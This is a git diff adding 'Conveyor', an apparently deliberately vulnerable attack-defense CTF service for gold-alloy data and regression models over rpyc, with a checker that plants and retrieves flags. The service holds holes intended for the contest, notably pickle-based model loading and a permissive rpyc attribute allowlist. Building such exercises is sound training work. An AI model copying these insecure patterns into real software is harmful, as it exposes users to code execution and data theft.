diff --git a/check.py b/check.py index 0bb5671..eb77f57 100755 --- a/check.py +++ b/check.py @@ -403,6 +403,7 @@ def validate_file(self, f: Path): for opt in container_conf: self._error( opt in CONTAINER_ALLOWED_OPTIONS + or (opt == "command" and container == "redis") or ( container == "goldarn" and opt in ["network_mode", "tmpfs", "healthcheck"] diff --git a/checkers/conveyor/checker.py b/checkers/conveyor/checker.py new file mode 100755 index 0000000..91cad00 --- /dev/null +++ b/checkers/conveyor/checker.py @@ -0,0 +1,417 @@ +#!/usr/bin/env python3 + +import json +import random +import sys +import traceback +from collections import UserList +from enum import Enum +from functools import partial +from typing import cast + +import pandas as pd +import rpyc +from checklib import BaseChecker, Status, cquit, rnd_string +from conveyorlib import ( + AlloyComposition, + DataConveyor, + GoldConveyorService, + Model, + ModelConveyor, +) + +SERVICE_PORT = 12378 +MAX_SAMPLES = 100 +MIN_SAMPLES = MAX_SAMPLES // 2 +FEATURES = [ + "gold_ozt", + "silver_ozt", + "copper_ozt", + "platinum_ozt", + "troy_ounces", + "karat", + "fineness", +] +ALLOYS = [ + AlloyComposition(gold_fr=0.75, silver_fr=0.125, copper_fr=0.125, platinum_fr=0), + AlloyComposition(gold_fr=0.75, silver_fr=0, copper_fr=0.25, platinum_fr=0), + AlloyComposition(gold_fr=0.75, silver_fr=0.025, copper_fr=0.225, platinum_fr=0), + AlloyComposition(gold_fr=0.75, silver_fr=0.05, copper_fr=0.2, platinum_fr=0), + AlloyComposition(gold_fr=0.75, silver_fr=0, copper_fr=0, platinum_fr=0.25), +] +PRECISION = 1e-3 +MAX_DATA_LEN = 128 + + +# rnd_weight returns random number of ounces for DataConveyor +def rnd_weight() -> float: + return random.random() * 10 + + +# rnd_deviation returns random deviation for DataConveyor +def rnd_deviation() -> float: + return random.random() * 0.1 + + +# rnd_nsamples returns random number of samples for DataConveyor +def rnd_nsamples() -> int: + return random.randint(MIN_SAMPLES, MAX_SAMPLES) + + +# rnd_features returns a random list of features and a target for model training +def rnd_features() -> tuple[list[str], str]: + features = random.choices(FEATURES, k=random.randint(2, len(FEATURES) - 1)) + left = list(set(FEATURES).difference(features)) + target = random.choice(left) + return features, target + + +# rnd_name generates random name of model or dataset +def rnd_name(info: str) -> str: + length = random.randint(MAX_DATA_LEN // 2, MAX_DATA_LEN - len(info) - 1) + return info + "_" + rnd_string(length) + + +# rnd_description generates random description of model or dataset +def rnd_description() -> str: + return rnd_string(random.randint(MAX_DATA_LEN // 2, MAX_DATA_LEN)) + + +class FlagPlace(Enum): + DATASET = 1 + MODEL = 2 + + +class Checker(BaseChecker): + vulns: int = 2 + timeout: int = 20 + uses_attack_data: bool = True + + conn: rpyc.Connection + service: GoldConveyorService + data_conveyor: DataConveyor + model_conveyor: ModelConveyor + + def __init__(self, *args, **kwargs): + super(Checker, self).__init__(*args, **kwargs) + + def action(self, action, *args, **kwargs): + try: + super(Checker, self).action(action, *args, **kwargs) + except ConnectionError as err: + self.cquit(Status.DOWN, "Connection error", f"Connection error: {err}") + except TimeoutError as err: + self.cquit(Status.DOWN, "Timeout error", f"Timeout error: {err}") + except Exception as err: + if "_get_exception_class" in type(err).__qualname__: + self.cquit( + Status.MUMBLE, + f"Unexpected remote error: {str(err)}", + f"Unexpected remote error: {traceback.format_exception(err)}", + ) + else: + raise + + def check(self): + self._connect() + + # Generate DataFrame, like for put + (want_weight, want_deviation, want_nsamples), df = self._generate_samples() + self.assert_eq( + len(df), + want_nsamples, + "Incorrect length of generated DataFrame", + Status.MUMBLE, + ) + self.assert_eq( + df.shape, + (want_nsamples, len(FEATURES)), + "Incorrect shape of generated DataFrame", + Status.MUMBLE, + ) + self.assert_neq( + str(df.head(1)), + "", + "Empty head() of generated DataFrame", + Status.MUMBLE, + ) + self.assert_gt( + want_deviation, + abs( + df.iloc[random.randint(0, want_nsamples - 1)]["troy_ounces"] + - want_weight + ) + / want_weight, + "Generated DataFrame weight deviates too much", + Status.MUMBLE, + ) + + # Additionally test DataFrame weight normalization + if random.randint(0, 1) == 0: + df = self.data_conveyor.normalize_sample_weights(df) + self.assert_gt( + PRECISION, + abs(df.iloc[random.randint(0, want_nsamples - 1)]["troy_ounces"] - 1.0), + "Normalized DataFrame weight deviates too much", + Status.MUMBLE, + ) + + # Pick DataFrame features/target and split them into train/test datasets + features, target = rnd_features() + x, y = df[UserList(features)], df[UserList([target])] + splits = self.data_conveyor.split_samples(x, y, proportion=0.8) + self.assert_eq( + len(splits), 4, "Incorrect number of DataFrames after split", Status.MUMBLE + ) + x_train, x_test, y_train, y_test = splits + self.assert_eq( + len(x_train), + len(y_train), + "Train X and Y length mismatch after split", + Status.MUMBLE, + ) + self.assert_eq( + len(x_test), + len(y_test), + "Test X and Y length mismatch asfter split", + Status.MUMBLE, + ) + + # Train model and test it + model = self._train_model(x_train, y_train) + test_mode = random.randint(0, 2) + if test_mode == 0: + score = model.score(x_test, y_test) + elif test_mode == 1: + predict = model.predict(x_test) + score = self.model_conveyor.mean_absolute_error(y_test, predict) + else: + predict = model.predict(x_test) + score = self.model_conveyor.mean_squared_error(y_test, predict) + + self._disconnect() + self.cquit(Status.OK) + + def put(self, _flag_id: str, flag: str, vuln: str): + flag_place = self._parse_vuln(vuln) + self._connect() + + access_key = self.service.create_account() + account_id = str(self.service.account_id) + + # Always generate dataset, because it is needed for both flag places + (_, _, want_nsamples), df = self._generate_samples() + self.assert_eq( + len(df), + want_nsamples, + "Incorrect length of generated DataFrame", + Status.MUMBLE, + ) + + dataset_params = [] + model_params = [] + + if flag_place == FlagPlace.DATASET: + # Save dataset with random info, one containing the flag in its description + extra_datasets = random.randint(1, 2) + dataset_params = [ + (rnd_name("dataset"), rnd_description()) for _ in range(extra_datasets) + ] + dataset_params.append((rnd_name("dataset"), flag)) + random.shuffle(dataset_params) + + for name, description in dataset_params: + self.service.save_dataset(df, name, description) + else: + features, target = rnd_features() + x, y = df[UserList(features)], df[UserList([target])] + model = self._train_model(x, y) + + # Save model with random info, one containing the flag in its description + extra_models = random.randint(1, 2) + model_params = [ + (rnd_name("model"), rnd_description()) for _ in range(extra_models) + ] + model_params.append((rnd_name("model"), flag)) + random.shuffle(model_params) + + for name, description in model_params: + self.service.save_model(model, name, description) + + self._disconnect() + + private = dict( + k=access_key, + i=account_id, + p=dataset_params, + n=want_nsamples, + m=model_params, + ) + private = json.dumps(private, separators=(",", ":")) + + self.cquit(Status.OK, f"account_id: {account_id}", private) + + def get(self, flag_id: str, flag: str, vuln: str): + flag_place = self._parse_vuln(vuln) + private = json.loads(flag_id) + access_key = private["k"] + account_id = private["i"] + dataset_params = private["p"] + model_params = private["m"] + nsamples = private["n"] + + self._connect() + + # Always check authentication + try: + self.service.authenticate(access_key) + except ValueError as err: + self.cquit( + Status.CORRUPT, + "Failed to authenticate", + f"Failed to authenticate as {account_id} using key {access_key}: {err}", + ) + self.assert_eq( + str(self.service.account_id), + account_id, + "Account ID mismatch", + Status.CORRUPT, + ) + + if flag_place == FlagPlace.DATASET: + want_datasets = dict(dataset_params) + dataset_info = self.service.list_datasets() + for info in dataset_info: + name, description = info.name, info.description + self.assert_in( + name, + want_datasets, + "list_datasets returned unknown dataset", + Status.CORRUPT, + ) + self.assert_eq( + description, + want_datasets[name], + "list_datasets returned incorrect dataset description", + Status.CORRUPT, + ) + want_datasets.pop(name) + + self.assert_eq( + 0, + len(want_datasets), + "datasets missing from list_datasets result", + Status.CORRUPT, + ) + + flag_dataset_name = next(filter(lambda p: p[1] == flag, dataset_params))[0] + df = self.service.load_dataset(flag_dataset_name) + self.assert_eq( + nsamples, + len(df), + "Incorrect length of loaded DataFrame", + Status.CORRUPT, + ) + else: + want_names = set(map(lambda p: p[0], model_params)) + model_names = self.service.list_models() + for name in model_names: + self.assert_in( + name, + want_names, + "list_models returned unknown model", + Status.CORRUPT, + ) + want_names.remove(name) + + self.assert_eq( + 0, + len(want_names), + "models missing from list_models result", + Status.CORRUPT, + ) + + flag_model_name = next(filter(lambda p: p[1] == flag, model_params))[0] + model = self.service.load_model(flag_model_name) + self.assert_eq( + model.name, + flag_model_name, + "Incorrect name of loaded model", + Status.CORRUPT, + ) + self.assert_eq( + model.description, + flag, + "Incorrect description of loaded model", + Status.CORRUPT, + ) + + self._disconnect() + self.cquit(Status.OK) + + def _connect(self): + self.conn = cast( + rpyc.Connection, + rpyc.connect( + host=self.host, + port=SERVICE_PORT, + config=dict( + include_local_traceback=False, + include_local_version=False, + ), + ), + ) + + self.service = cast(GoldConveyorService, self.conn.root) + self.data_conveyor = self.service.data_conveyor + self.model_conveyor = self.service.model_conveyor + + def _disconnect(self): + self.conn.close() + + def _parse_vuln(self, vuln: str) -> FlagPlace: # type: ignore + if vuln == "1": + return FlagPlace.DATASET + elif vuln == "2": + return FlagPlace.MODEL + else: + c.cquit(Status.ERROR, "Checker error", f"Got unexpected vuln value {vuln}") + + def _generate_samples( + self, + ) -> tuple[tuple[float, float, int], pd.DataFrame]: + want_weight = rnd_weight() + want_deviation = rnd_deviation() + want_nsamples = rnd_nsamples() + params = (want_weight, want_deviation, want_nsamples) + + generators = [ + self.data_conveyor.random_alloy_samples, + partial(self.data_conveyor.template_alloy_samples, random.choice(ALLOYS)), + ] + + generators.append( + lambda w, d, n: self.data_conveyor.concat_samples( + generators[0](w, d, n // 2), generators[1](w, d, n - n // 2) + ) + ) + + return params, random.choice(generators)( + want_weight, want_deviation, want_nsamples + ) + + def _train_model(self, x: pd.DataFrame, y: pd.DataFrame) -> Model: + if random.randint(0, 1) == 0: + return self.model_conveyor.fit_linear_regression(x, y) + else: + return self.model_conveyor.fit_ridge(x, y) + + +if __name__ == "__main__": + + c = Checker(sys.argv[2]) + + try: + c.action(sys.argv[1], *sys.argv[3:]) + except c.get_check_finished_exception(): + cquit(Status(c.status), c.public, c.private) diff --git a/checkers/conveyor/conveyorlib.py b/checkers/conveyor/conveyorlib.py new file mode 100644 index 0000000..2ebdc1e --- /dev/null +++ b/checkers/conveyor/conveyorlib.py @@ -0,0 +1,102 @@ +""" +conveyorlib contains rpyc service type stubs for interacting with the service +""" + +from dataclasses import dataclass +from typing import Optional +from uuid import UUID + +import numpy as np +import numpy.typing as npt +import pandas as pd + + +@dataclass +class AlloyComposition: + ALLOWED = set(["gold_fr", "silver_fr", "copper_fr", "platinum_fr"]) + + gold_fr: float + silver_fr: float + copper_fr: float + platinum_fr: float + + def _rpyc_getattr(self, name): + if name in AlloyComposition.ALLOWED: + return getattr(self, name) + raise AttributeError("access denied") + + +class DataConveyor: + def random_alloy_samples( + self, weight_ozt: float, max_deviation: float, samples: int + ) -> pd.DataFrame: ... + + def template_alloy_samples( + self, + template: AlloyComposition, + weight_ozt: float, + max_deviation: float, + samples: int, + ) -> pd.DataFrame: ... + + def concat_samples(self, *dfs: pd.DataFrame) -> pd.DataFrame: ... + + def normalize_sample_weights(self, df: pd.DataFrame) -> pd.DataFrame: ... + + def split_samples( + self, *dfs: pd.DataFrame, proportion: float + ) -> list[pd.DataFrame]: ... + + +MatrixLike = np.ndarray | pd.DataFrame +ArrayLike = npt.ArrayLike + + +class Model: + name: str + description: str + + def predict(self, X: MatrixLike) -> np.ndarray: ... + + def score(self, X: MatrixLike, y: MatrixLike | ArrayLike) -> float: ... + + +class ModelConveyor: + def fit_linear_regression(self, x: npt.ArrayLike, y: npt.ArrayLike) -> Model: ... + + def fit_ridge(self, x: npt.ArrayLike, y: npt.ArrayLike) -> Model: ... + + def mean_absolute_error( + self, y_true: npt.ArrayLike, y_pred: npt.ArrayLike + ) -> float: ... + + def mean_squared_error( + self, y_true: npt.ArrayLike, y_pred: npt.ArrayLike + ) -> float: ... + + +class DataSetInfo: + name: str + description: str + + +class GoldConveyorService: + account_id: Optional[UUID] + data_conveyor: DataConveyor + model_conveyor: ModelConveyor + + def create_account(self) -> str: ... + + def authenticate(self, access_key: str): ... + + def save_dataset(self, df: pd.DataFrame, name: str, description: str): ... + + def list_datasets(self) -> list[DataSetInfo]: ... + + def load_dataset(self, name: str) -> pd.DataFrame: ... + + def save_model(self, model: Model, name: str, description: str): ... + + def list_models(self) -> list[str]: ... + + def load_model(self, name: str) -> Model: ... diff --git a/checkers/requirements.txt b/checkers/requirements.txt index 9deffc8..fe19c5e 100644 --- a/checkers/requirements.txt +++ b/checkers/requirements.txt @@ -1,4 +1,7 @@ checklib +rpyc==5.3.1 +pandas==2.2.0 +pyarrow==15.0.0 pycryptodome pydantic openpyxl diff --git a/services/conveyor/.tool-versions b/services/conveyor/.tool-versions new file mode 100644 index 0000000..a7bdacf --- /dev/null +++ b/services/conveyor/.tool-versions @@ -0,0 +1 @@ +python 3.11.7 diff --git a/services/conveyor/README.md b/services/conveyor/README.md new file mode 100644 index 0000000..2c5e51c --- /dev/null +++ b/services/conveyor/README.md @@ -0,0 +1,11 @@ +# Conveyor + +Welcome, diggers, welcome, to our newly-developed startup specializing in gold and ML conveyors! + +To get started with testing out our product's beta, all you need is a computing device with [Python](https://www.python.org/) and [Poetry](https://python-poetry.org/) installed, using which you could launch the example client script ([scripts/client.py](./scripts/client.py)) by executing: + +```sh +poetry install && poetry run conveyor-client {IP} 12378 +``` + +It should call our services to dig out some fresh gold, mix it up into some alloys, and train a basic linear model on the resulting alloy, weight and fineness data! Should you need a more thorough look through our available features, simply check them out in the data conveyor and model conveyor sources: [conveyor/data.py](./conveyor/data.py) and [conveyor/model.py](./conveyor/model.py), respectively. diff --git a/services/conveyor/conveyor/__init__.py b/services/conveyor/conveyor/__init__.py new file mode 100644 index 0000000..f43846d --- /dev/null +++ b/services/conveyor/conveyor/__init__.py @@ -0,0 +1,21 @@ +__all__ = [ + "data", + "model", + "remote", + "service", + "storage", + "AlloyComposition", + "DataConveyor", + "DataFrame", + "PredefinedAlloys", + "LinearRegression", + "Model", + "ModelConveyor", + "RidgeRegression", + "GoldConveyorService", +] + +from . import data, model, remote, service, storage +from .data import AlloyComposition, DataConveyor, DataFrame, PredefinedAlloys +from .model import LinearRegression, Model, ModelConveyor, RidgeRegression +from .service import GoldConveyorService diff --git a/services/conveyor/conveyor/config.py b/services/conveyor/conveyor/config.py new file mode 100644 index 0000000..c0047f7 --- /dev/null +++ b/services/conveyor/conveyor/config.py @@ -0,0 +1,6 @@ +PRECISION = 1e-9 +MAX_SAMPLES = 100 +KARAT_DIGITS = 2 +FINENESS_DIGITS = 3 +ACCESS_KEY_BYTES = 32 +MAX_DATA_LEN = 128 diff --git a/services/conveyor/conveyor/data.py b/services/conveyor/conveyor/data.py new file mode 100644 index 0000000..6eed1ab --- /dev/null +++ b/services/conveyor/conveyor/data.py @@ -0,0 +1,299 @@ +from typing import Annotated, Callable + +import numpy as np +import pandas as pd +import pandera as pa +import pandera.typing as pt +import pydantic +from sklearn.model_selection import train_test_split + +from . import config, remote + + +class AlloyComposition(pydantic.BaseModel): + gold_fr: Annotated[float, pydantic.Field(ge=0, le=1)] + silver_fr: Annotated[float, pydantic.Field(ge=0, le=1)] + copper_fr: Annotated[float, pydantic.Field(ge=0, le=1)] + platinum_fr: Annotated[float, pydantic.Field(ge=0, le=1)] + + @pydantic.model_validator(mode="after") + def check_fraction(self): + fr = self.gold_fr + self.silver_fr + self.copper_fr + self.platinum_fr + if abs(fr - 1.0) > config.PRECISION: + raise ValueError("alloy composition fractions should add up to 1") + return self + + @classmethod + def localized(cls, remote: "AlloyComposition") -> "AlloyComposition": + """ + Recreate AlloyComposition dataclass instance from non-trusted instance, + revalidating it in the process. + """ + + return cls( + gold_fr=remote.gold_fr, + silver_fr=remote.silver_fr, + copper_fr=remote.copper_fr, + platinum_fr=remote.platinum_fr, + ) + + +class PredefinedAlloys: + YELLOW_GOLD = AlloyComposition( + gold_fr=0.75, silver_fr=0.125, copper_fr=0.125, platinum_fr=0 + ) + + RED_GOLD = AlloyComposition( + gold_fr=0.75, silver_fr=0, copper_fr=0.25, platinum_fr=0 + ) + + ROSE_GOLD = AlloyComposition( + gold_fr=0.75, silver_fr=0.025, copper_fr=0.225, platinum_fr=0 + ) + + PINK_GOLD = AlloyComposition( + gold_fr=0.75, silver_fr=0.05, copper_fr=0.2, platinum_fr=0 + ) + + WHITE_GOLD = AlloyComposition( + gold_fr=0.75, silver_fr=0, copper_fr=0, platinum_fr=0.25 + ) + + +@remote.safe({"iloc", "head", "shape"}) +class DataFrame(pd.DataFrame): + """ + Specialized dataframe subclassing the usual pandas dataframe. + """ + + class Schema(pa.DataFrameModel): + gold_ozt: pt.Series[float] = pa.Field(ge=0) + silver_ozt: pt.Series[float] = pa.Field(ge=0) + copper_ozt: pt.Series[float] = pa.Field(ge=0) + platinum_ozt: pt.Series[float] = pa.Field(ge=0) + troy_ounces: pt.Series[float] = pa.Field(ge=0) + karat: pt.Series[float] = pa.Field(ge=0, le=24) + fineness: pt.Series[float] = pa.Field(ge=0, le=1000) + + def __init__(self, *args, **kwargs): + # Check to avoid creating NaN columns when casting existing pandas DataFrame to this one. + if len(args) == 0: + kwargs["columns"] = [ + "gold_ozt", + "silver_ozt", + "copper_ozt", + "platinum_ozt", + "troy_ounces", + "karat", + "fineness", + ] + + super().__init__(*args, **kwargs) + + def validate(self): + DataFrame.Schema.validate(self) + + +@remote.safe( + { + "template_alloy_samples", + "random_alloy_samples", + "normalize_sample_weights", + "concat_samples", + "split_samples", + } +) +class DataConveyor: + """ + Conveyor for working with samples of gold, + preparing them for later use with models. + """ + + RANDOM_ALLOYS = np.array( + [ + PredefinedAlloys.YELLOW_GOLD, + PredefinedAlloys.RED_GOLD, + PredefinedAlloys.ROSE_GOLD, + PredefinedAlloys.PINK_GOLD, + PredefinedAlloys.WHITE_GOLD, + ] + ) + + def __init__(self, rng: np.random.RandomState): + self.rng = rng + + def template_alloy_samples( + self, + template: AlloyComposition, + weight_ozt: float, + max_deviation: float, + samples: int, + ) -> DataFrame: + """ + Selects a number of gold samples fitting the specified alloy template, + with alloy composition and weight deviating no more than is requested. + + A pandas DataFrame is returned, containing the selected samples. + """ + + validated_template = AlloyComposition.localized(template) + + # TODO optimize generation using template alloy by replacing operations + # on each sample with operations on an array of samples. + # Unfortunately, this means that the sample generation process would be different for random_alloy_samples. + return self.__generate_samples( + weight_ozt, + max_deviation, + samples, + lambda: self.__randomize_alloy(validated_template, max_deviation), + ) + + def random_alloy_samples( + self, weight_ozt: float, max_deviation: float, samples: int + ) -> DataFrame: + """ + Selects a number of random gold samples with weight deviating no more than is requested. + + A pandas DataFrame is returned, containing the selected samples. + """ + + return self.__generate_samples( + weight_ozt, + max_deviation, + samples, + lambda: self.__randomize_alloy( + self.rng.choice(DataConveyor.RANDOM_ALLOYS), + max_deviation, + ), + ) + + def normalize_sample_weights(self, df: pd.DataFrame) -> DataFrame: + """ + Scale sample alloy composition to 1 troy ounce. + This method works even when not all of the alloy components are present in the dataframe columns. + """ + + if "troy_ounces" not in df.columns: + raise ValueError("troy_ounces column must be present for normalization") + + weights = df["troy_ounces"] + components = ["gold_ozt", "silver_ozt", "copper_ozt", "platinum_ozt"] + + for component in components: + if component in df.columns: + df[component] /= weights + + df["troy_ounces"] = 1.0 + + return DataFrame(df) + + def concat_samples(self, *dfs: pd.DataFrame) -> DataFrame: + """ + Concatentates multiple sample DataFrames vertically. + + The total number of samples in the resulting DataFrame should not be more than is allowed. + """ + + if sum(map(len, dfs)) > config.MAX_SAMPLES: + raise ValueError( + f"total number of samples after concatenating dataframes should not be more than {config.MAX_SAMPLES}" + ) + + return DataFrame( + pd.concat(dfs, ignore_index=True) + .sample(frac=1, random_state=self.rng) + .reset_index(drop=True) + ) + + def split_samples( + self, *dfs: pd.DataFrame, proportion: float + ) -> list[pd.DataFrame]: + """ + Splits multiple sample DataFrames horizontally according to the specified proportion. + + The first part of each split contains the specified proportion, the other part contains 1-proportion. + """ + + if not (proportion >= 0 and proportion <= 1): + raise ValueError("proportion should be in the range [0.0; 1.0]") + + return [ + DataFrame(df) + for df in train_test_split( + *dfs, + train_size=proportion, + random_state=self.rng, + ) + ] + + def __generate_samples( + self, + weight_ozt: float, + max_deviation: float, + samples: int, + generator: Callable[[], np.ndarray], + ) -> DataFrame: + if weight_ozt < 0: + raise ValueError("sample weight should be non-negative") + elif max_deviation < 0 or max_deviation > 1: + raise ValueError("max deviation should be a fraction") + elif samples < 0 or samples > config.MAX_SAMPLES: + raise ValueError( + f"a non-negative number of samples no more than {config.MAX_SAMPLES} should be specified" + ) + + # Array of generated weights deviating no more than max_deviation + # from the dezired weight in troy ounces. + weights = weight_ozt * ( + 1 - (2 * max_deviation * self.rng.random(samples)) + max_deviation + ) + + df = DataFrame() + for i in range(samples): + sample_alloy_fr = generator() + sample_karat = round(sample_alloy_fr[0] * 24, config.KARAT_DIGITS) + sample_fineness = round(sample_alloy_fr[0] * 1000, config.FINENESS_DIGITS) + sample_weight = weights[i] + sample_alloy_ozt = sample_alloy_fr * sample_weight + + df.loc[i] = [ # type: ignore # setitem typing is broken for loc + sample_alloy_ozt[0], + sample_alloy_ozt[1], + sample_alloy_ozt[2], + sample_alloy_ozt[3], + sample_weight, + sample_karat, + sample_fineness, + ] + + # Perform basic sanity check after dataframe construction. + df.validate() + + return df + + def __randomize_alloy( + self, template: AlloyComposition, max_deviation: float + ) -> np.ndarray: + fractions = np.array( + [ + template.gold_fr, + template.silver_fr, + template.copper_fr, + template.platinum_fr, + ], + dtype=np.float64, + ) + + # Since this private method accepts only validated compositions, + # originally, the fractions sum to 1. + # They are reduced by some amount so that each fraction differs no more than by max_deviation. + fractions *= 1 - max_deviation * self.rng.random(len(fractions)) + + # The resulting shortage must be then redistributed between the present alloy parts. + shortage = 1 - np.sum(fractions) + shortage_distribution = self.rng.random(len(fractions)) + shortage_distribution *= fractions > config.PRECISION + shortage_distribution /= np.sum(shortage_distribution) + fractions += shortage * shortage_distribution + + return fractions diff --git a/services/conveyor/conveyor/model.py b/services/conveyor/conveyor/model.py new file mode 100644 index 0000000..22f2bf2 --- /dev/null +++ b/services/conveyor/conveyor/model.py @@ -0,0 +1,90 @@ +import io +import pickle + +import numpy as np +import numpy.typing as npt +from sklearn import linear_model, metrics + +from . import config, remote + + +@remote.safe({"predict", "score", "name", "description"}) +class Model: + name: str + description: str + + def __init__(self): + self.name = "" + self.description = "" + + def save(self, file: io.BufferedIOBase): + pickle.dump(self, file) + + @staticmethod + def load(file: io.BufferedIOBase) -> "Model": + return pickle.load(file) + + +class LinearRegression(linear_model.LinearRegression, Model): + def __init__(self): + linear_model.LinearRegression.__init__(self) + Model.__init__(self) + + +class RidgeRegression(linear_model.Ridge, Model): + def __init__(self, alpha: float, random_state: np.random.RandomState): + linear_model.Ridge.__init__(self, alpha=alpha, random_state=random_state) + Model.__init__(self) + + +@remote.safe( + {"fit_linear_regression", "fit_ridge", "mean_absolute_error", "mean_squared_error"} +) +class ModelConveyor: + """ + Conveyor for training machine learning models on processed gold samples. + """ + + def __init__(self, rng: np.random.RandomState): + self.rng = rng + + def fit_linear_regression( + self, x: npt.ArrayLike, y: npt.ArrayLike + ) -> LinearRegression: + """ + Initialize and fit a basic linear regression model to the given data. + The resulting model can be used to predict or score a prediction. + """ + + return LinearRegression().fit(x, y) + + def fit_ridge( + self, x: npt.ArrayLike, y: npt.ArrayLike, alpha: float = 1.0 + ) -> RidgeRegression: + """ + Initialize and fit a Ridge regression model to the given data with the specified alpha. + The resulting model can be used to predict or score a prediction. + """ + + # Sanity check to avoid bad alpha values. + # Technically, ridge supports alpha = 0, but it isn't recommended. + if alpha <= config.PRECISION: + raise ValueError(f"alpha must be greater than {config.PRECISION}") + + return RidgeRegression(alpha=alpha, random_state=self.rng).fit(np.array(x), y) + + def mean_absolute_error( + self, y_true: npt.ArrayLike, y_pred: npt.ArrayLike + ) -> float: + """ + Calculates the MAE for regression prediction results. + """ + + return float(metrics.mean_absolute_error(y_true, y_pred)) + + def mean_squared_error(self, y_true: npt.ArrayLike, y_pred: npt.ArrayLike) -> float: + """ + Calculates the MSE for regression prediction results. + """ + + return float(metrics.mean_squared_error(y_true, y_pred)) diff --git a/services/conveyor/conveyor/remote.py b/services/conveyor/conveyor/remote.py new file mode 100644 index 0000000..2832eb6 --- /dev/null +++ b/services/conveyor/conveyor/remote.py @@ -0,0 +1,40 @@ +from typing import TypeVar, cast + +from rpyc.core.protocol import DEFAULT_CONFIG + +T = TypeVar("T") +safe_attrs = cast(set[str], DEFAULT_CONFIG.get("safe_attrs")) + + +def safe(attrs: set[str]): + """ + Alternative to rpyc.exposed/rpyc.service combination, + which works based on _rpyc_getattr instead of the exposed_ prefix. + """ + + def getter(self, name): + if name in attrs or name in safe_attrs: + return getattr(self, name) + raise AttributeError("access denied") + + def wrapper(cls: type[T]) -> type[T]: + setattr(cls, "_rpyc_getattr", getter) + return cls + + return wrapper + + +def patch_get_methods(): + """ + Monkey-patch rpyc get_methods according to https://github.com/tomerfiliba-org/rpyc/issues/326. + """ + + import inspect + + def getdoc(*args, **kwargs): + return None + + inspect.getdoc = getdoc + + +patch_get_methods() diff --git a/services/conveyor/conveyor/service.py b/services/conveyor/conveyor/service.py new file mode 100644 index 0000000..71b875a --- /dev/null +++ b/services/conveyor/conveyor/service.py @@ -0,0 +1,364 @@ +import secrets +from base64 import b85decode, b85encode +from dataclasses import dataclass +from typing import Optional, cast +from uuid import UUID, uuid4 + +import numpy as np +import pandas as pd +import rpyc +import structlog + +from . import config, remote, storage +from .data import DataConveyor, DataFrame +from .model import Model, ModelConveyor + +UNEXPECTED_ERROR = Exception("unexpected error has occurred, please retry later") +UNAUTHENTICATED_ERROR = Exception("authentication required") +INVALID_ACCESS_KEY_ERROR = ValueError("invalid access key provided") + + +@remote.safe({"name", "description"}) +@dataclass +class DataSet: + name: str + description: str + + @classmethod + def from_repository(cls, dataset: storage.DataSet) -> "DataSet": + return cls(name=dataset.name, description=dataset.description) + + +@remote.safe( + { + "account_id", + "data_conveyor", + "model_conveyor", + "create_account", + "authenticate", + "save_dataset", + "list_datasets", + "load_dataset", + "save_model", + "list_models", + "load_model", + } +) +class GoldConveyorService(rpyc.Service): + def __init__(self, repository: storage.RedisRepository, files: storage.FileStorage): + self.repository = repository + self.files = files + self.logger = structlog.stdlib.get_logger("gold-conveyor") + self.rng = np.random.RandomState(secrets.randbits(30)) + + # Attributes exposed by the service + self.account_id: Optional[UUID] = None # set when client has authenticated + self.data_conveyor = DataConveyor(self.rng) + self.model_conveyor = ModelConveyor(self.rng) + + def on_connect(self, conn: rpyc.Connection): + endpoints = cast( + tuple[tuple[str, str], tuple[str, str]], conn._config["endpoints"] + ) + + self.logger = self.logger.bind( + local=f"{endpoints[0][0]}:{endpoints[0][1]}", + remote=f"{endpoints[1][0]}:{endpoints[1][1]}", + connid=conn._config["connid"], + ) + + self.logger.info("client connected") + + def on_disconnect(self, conn): + self.logger.info("client disconnected") + + def create_account(self) -> str: + """ + Create new account and return an access key which can be used for authentication. + + This connection will be immediatelly authenticated as the created account. + """ + + access_key = secrets.token_bytes(config.ACCESS_KEY_BYTES) + account_id = uuid4() + + try: + result = self.repository.save_account_creds(account_id, access_key) + except Exception as err: + self.logger.error( + "unexpectedly failed to save account credentials to repository", + error=str(err), + stack_info=True, + ) + raise UNEXPECTED_ERROR + + if not result: + raise Exception("credential generation has failed, please retry") + + self.account_id = account_id + self.__logger_with_account_id() + self.logger.info("created new account") + + return GoldConveyorService.__encode_access_key(access_key) + + def authenticate(self, access_key: str): + """ + Authenticate using the provided access key. + """ + + access_key = str(access_key) + + try: + access_key_bytes = GoldConveyorService.__decode_access_key(access_key) + except ValueError: + raise INVALID_ACCESS_KEY_ERROR + + try: + result = self.repository.authenticate_by_creds(access_key_bytes) + except Exception as err: + self.logger.error( + "unexpectedly failed to authenticate client", + error=str(err), + stack_info=True, + ) + raise UNEXPECTED_ERROR + + if result is None: + raise INVALID_ACCESS_KEY_ERROR + + self.account_id = result + self.__logger_with_account_id() + self.logger.info("client authenticated") + + def save_dataset(self, df: pd.DataFrame, name: str, description: str): + """ + Save dataframe as dataset with specified name. + This call requires authentication. + """ + + if self.account_id is None: + raise UNAUTHENTICATED_ERROR + elif len(name.encode()) > config.MAX_DATA_LEN: + raise ValueError( + f"dataset name should not be longer than {config.MAX_DATA_LEN} bytes" + ) + elif len(description.encode()) > config.MAX_DATA_LEN: + raise ValueError( + f"dataset description should not be longer than {config.MAX_DATA_LEN} bytes" + ) + + name = str(name) + description = str(description) + file_id = uuid4() + + try: + with self.files.open_write(file_id) as f: + df.to_feather(f) + except Exception as err: + self.logger.error( + "unexpectedly failed to save dataframe to file", + file_id=str(file_id), + error=str(err), + stack_info=True, + ) + raise UNEXPECTED_ERROR + + try: + self.repository.save_dataset( + self.account_id, + storage.DataSet(name=name, description=description, file_id=file_id), + ) + except Exception as err: + self.logger.error( + "unexpectedly failed to save dataset info to repository", + file_id=str(file_id), + name=name, + error=str(err), + stack_info=True, + ) + raise UNEXPECTED_ERROR + + self.logger.info("saved new dataset", file_id=str(file_id), name=name) + + def list_datasets(self) -> list[DataSet]: + """ + Return names and descriptions of saved datasets. + This call requires authentication. + """ + + if self.account_id is None: + raise UNAUTHENTICATED_ERROR + + try: + datasets = self.repository.list_datasets(self.account_id) + except Exception as err: + self.logger.error( + "unexpectedly failed to list datasets in repository", + error=str(err), + stack_info=True, + ) + raise UNEXPECTED_ERROR + + return list(map(DataSet.from_repository, datasets)) + + def load_dataset(self, name: str) -> DataFrame: + """ + Load dataframe from dataset with the specified name. + This call requires authentication. + """ + + if self.account_id is None: + raise UNAUTHENTICATED_ERROR + + name = str(name) + + try: + dataset = self.repository.get_dataset(self.account_id, name) + except Exception as err: + self.logger.error( + "unexpectedly failed to get dataset from repository", + error=str(err), + stack_info=True, + ) + raise UNEXPECTED_ERROR + + if dataset is None: 